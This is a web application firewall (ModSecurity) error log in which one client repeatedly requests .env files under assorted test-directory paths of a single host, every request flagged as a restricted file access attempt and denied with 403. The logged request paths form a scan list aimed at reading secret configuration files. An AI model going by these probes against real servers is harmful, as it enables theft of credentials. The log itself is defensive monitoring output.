[Mon Jul 28 20:46:22.797240 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/testing/docker/.env&quot;] [unique_id &quot;aIfFfjtW59P3rmsxDxVp_wAAAAI&quot;]
[Mon Jul 28 20:46:22.817786 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tests/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/.env&quot;] [unique_id &quot;aIfFfjtW59P3rmsxDxVqAAAAAAI&quot;]
[Mon Jul 28 20:46:22.817991 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/.env&quot;] [unique_id &quot;aIfFfjtW59P3rmsxDxVqAAAAAAI&quot;]
[Mon Jul 28 20:46:22.818178 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/.env&quot;] [unique_id &quot;aIfFfjtW59P3rmsxDxVqAAAAAAI&quot;]
[Mon Jul 28 20:46:22.838153 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tests/application/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Tests/Application/.env&quot;] [unique_id &quot;aIfFfjtW59P3rmsxDxVqAQAAAAI&quot;]
[Mon Jul 28 20:46:22.838420 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Tests/Application/.env&quot;] [unique_id &quot;aIfFfjtW59P3rmsxDxVqAQAAAAI&quot;]
[Mon Jul 28 20:46:22.838612 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Tests/Application/.env&quot;] [unique_id &quot;aIfFfjtW59P3rmsxDxVqAQAAAAI&quot;]
[Mon Jul 28 20:46:22.858702 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tests/default_settings/v10.0/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v10.0/.env&quot;] [unique_id &quot;aIfFfjtW59P3rmsxDxVqAgAAAAI&quot;]
[Mon Jul 28 20:46:22.858899 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v10.0/.env&quot;] [unique_id &quot;aIfFfjtW59P3rmsxDxVqAgAAAAI&quot;]
[Mon Jul 28 20:46:22.859068 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v10.0/.env&quot;] [unique_id &quot;aIfFfjtW59P3rmsxDxVqAgAAAAI&quot;]
[Mon Jul 28 20:46:22.879318 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tests/default_settings/v11.0/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v11.0/.env&quot;] [unique_id &quot;aIfFfjtW59P3rmsxDxVqAwAAAAI&quot;]
[Mon Jul 28 20:46:22.879529 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v11.0/.env&quot;] [unique_id &quot;aIfFfjtW59P3rmsxDxVqAwAAAAI&quot;]
[Mon Jul 28 20:46:22.879718 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v11.0/.env&quot;] [unique_id &quot;aIfFfjtW59P3rmsxDxVqAwAAAAI&quot;]
[Mon Jul 28 20:46:22.899829 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tests/default_settings/v12.0/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v12.0/.env&quot;] [unique_id &quot;aIfFfjtW59P3rmsxDxVqBAAAAAI&quot;]
[Mon Jul 28 20:46:22.900033 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v12.0/.env&quot;] [unique_id &quot;aIfFfjtW59P3rmsxDxVqBAAAAAI&quot;]
[Mon Jul 28 20:46:22.900205 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v12.0/.env&quot;] [unique_id &quot;aIfFfjtW59P3rmsxDxVqBAAAAAI&quot;]
[Mon Jul 28 20:46:22.920361 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tests/default_settings/v13.0/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v13.0/.env&quot;] [unique_id &quot;aIfFfjtW59P3rmsxDxVqBQAAAAI&quot;]
[Mon Jul 28 20:46:22.920563 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v13.0/.env&quot;] [unique_id &quot;aIfFfjtW59P3rmsxDxVqBQAAAAI&quot;]
[Mon Jul 28 20:46:22.920745 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v13.0/.env&quot;] [unique_id &quot;aIfFfjtW59P3rmsxDxVqBQAAAAI&quot;]
[Mon Jul 28 20:46:22.941348 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tests/default_settings/v7.0/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v7.0/.env&quot;] [unique_id &quot;aIfFfjtW59P3rmsxDxVqBgAAAAI&quot;]
[Mon Jul 28 20:46:22.941537 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v7.0/.env&quot;] [unique_id &quot;aIfFfjtW59P3rmsxDxVqBgAAAAI&quot;]
[Mon Jul 28 20:46:22.941705 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v7.0/.env&quot;] [unique_id &quot;aIfFfjtW59P3rmsxDxVqBgAAAAI&quot;]
[Mon Jul 28 20:46:22.961780 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tests/default_settings/v8.0/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v8.0/.env&quot;] [unique_id &quot;aIfFfjtW59P3rmsxDxVqBwAAAAI&quot;]
[Mon Jul 28 20:46:22.961974 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v8.0/.env&quot;] [unique_id &quot;aIfFfjtW59P3rmsxDxVqBwAAAAI&quot;]
[Mon Jul 28 20:46:22.962128 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v8.0/.env&quot;] [unique_id &quot;aIfFfjtW59P3rmsxDxVqBwAAAAI&quot;]
[Mon Jul 28 20:46:22.982296 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tests/default_settings/v9.0/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v9.0/.env&quot;] [unique_id &quot;aIfFfjtW59P3rmsxDxVqCAAAAAI&quot;]
[Mon Jul 28 20:46:22.982480 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v9.0/.env&quot;] [unique_id &quot;aIfFfjtW59P3rmsxDxVqCAAAAAI&quot;]
[Mon Jul 28 20:46:22.982627 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v9.0/.env&quot;] [unique_id &quot;aIfFfjtW59P3rmsxDxVqCAAAAAI&quot;]
[Mon Jul 28 20:46:23.002716 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tests/drupal-test/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/drupal-test/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqCQAAAAI&quot;]
[Mon Jul 28 20:46:23.002904 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/drupal-test/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqCQAAAAI&quot;]
[Mon Jul 28 20:46:23.003060 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/drupal-test/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqCQAAAAI&quot;]
[Mon Jul 28 20:46:23.023303 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tests/integration/environment/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/Integration/Environment/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqCgAAAAI&quot;]
